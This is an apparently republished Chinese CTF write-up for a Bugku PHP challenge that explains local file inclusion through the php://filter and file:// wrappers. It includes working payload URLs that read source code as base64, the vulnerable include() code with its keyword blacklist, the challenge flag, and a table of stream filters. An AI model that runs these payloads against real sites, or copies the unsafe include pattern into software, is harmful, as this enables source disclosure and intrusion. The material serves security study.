IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 安全-php: |filter文件包含分析(bugku) -> 正文阅读

[PHP知识库]安全-php: |filter文件包含分析(bugku)

前言

学习一下php伪协议php://filterfile://php://可以看成和file://平级的

参考

PHP:iconv-Manual

PHP:php://-Manual

PHP:stristr-Manual

PHP:strstr-Manual

谈一谈php://filter的妙用

PHP:可用过滤器列表-Manual

PHP:支持的协议和封装协议-Manual

探索php://filter在实战当中的奇技淫巧

一、题目

原题链接
在这里插入图片描述
在这里插入图片描述

二、WriteUp

使用到了文件包含漏洞,可以使用下方的payload读取index.php的源码

http://IP/index.php
?file=php://filter/read=convert.base64-encode/resource=index.php

在这里插入图片描述

得到的是index.php文件的base64编码结果,到base64在线网站解密一下即可得到源码,flag就在源码里面

在这里插入图片描述

三、伪协议分析

[1]. 本地复现

题目的代码如下,可以在本地复现分析分析

<html>
<title>Bugku-web</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
    echo "Oh no!";
    exit();
}
include($file);
//flag:flag{1d60c09e207bee5741b6d7243d8ecaa9}
?>
</html>

注释如下

在这里插入图片描述

有用的代码如下

<?php
error_reporting(0);//不显示错误提示
$file=$_GET['file'];//传参
include($file);//文件包含
?>
  • 除了php://fileter外还可以使用file://来读取文件
  • file://不需要传readresource这样的参数,但是后面需要接绝对路径
  • file://如果包含的是一个php文件时,就会直接执行php脚本而不是像文本一样打印到浏览器
http://127.0.01/index.php?file=file://C:\t.txt

在这里插入图片描述
在这里插入图片描述

[2]. 构造过滤器

然后是php://filter,要读取的文件名是index.php就用resource=index.php

在这里插入图片描述

read是用来写输出的方式,试过了除base64加密的过滤器都没法读取文件,不清楚为什么
read=convert.base64-encode

过滤器类型过滤器介绍
字符串过滤器string.rot13ROT13加密/解密(凯撒密码的变种),因为字母共26个
假设明文是a,由a往后移动13位是n,所以n再往后移动13位又变回a
字符串过滤器string.tolower小写转换
字符串过滤器string.toupper大写转换
字符串过滤器string.strip_tags(自 PHP 7.3.0 起废弃)去除html和php标记
转换过滤器convert.base64-encodebase64加密
转换过滤器convert.base64-decodebase64解密
转换过滤器convert.quoted-printable-encodequoted-printable加密,常用在电子邮件中,是MIME编码常见一种表示方法
转换过滤器convert.quoted-printable-decodequoted-printable解密,常用在电子邮件中,是MIME编码常见一种表示方法
转换过滤器convert.iconv.*和iconv函数一样,用来字符编码转换的
格式1:convert.iconv.input-encoding.output-encoding
格式2:convert.iconv.input-encoding/output-encoding
input-encoding是输入的编码,output-encoding是输出的编码
压缩过滤器zlib.deflate压缩
压缩过滤器zlib.inflate解压
压缩过滤器bzip2.compress压缩
压缩过滤器bzip2.decompress解压
加密过滤器mcrypt.*(自PHP 7.1.0 起废弃)使用 libmcrypt ,提供了对称的加密
格式:mcrypt.ciphername,其中 ciphername是密码的名字
加密过滤器mdecrypt.*(自PHP 7.1.0 起废弃)使用 libmcrypt ,提供了对称的解密
格式:mdecrypt.ciphername,其中 ciphername是密码的名字

readresource两个参数需要使用斜杠进行分隔

http://localhost/index.php/?file=php://filter/read=convert.base64-encode/resource=index.php

在这里插入图片描述

如果需要再base64加密一次,就使用管道符|将两个过滤器分隔开,需要加密几次就放几个过滤器

http://localhost/index.php/?file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=index.php

在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-22 12:08:09  更:2021-11-22 12:08:38 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 18:36:00-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码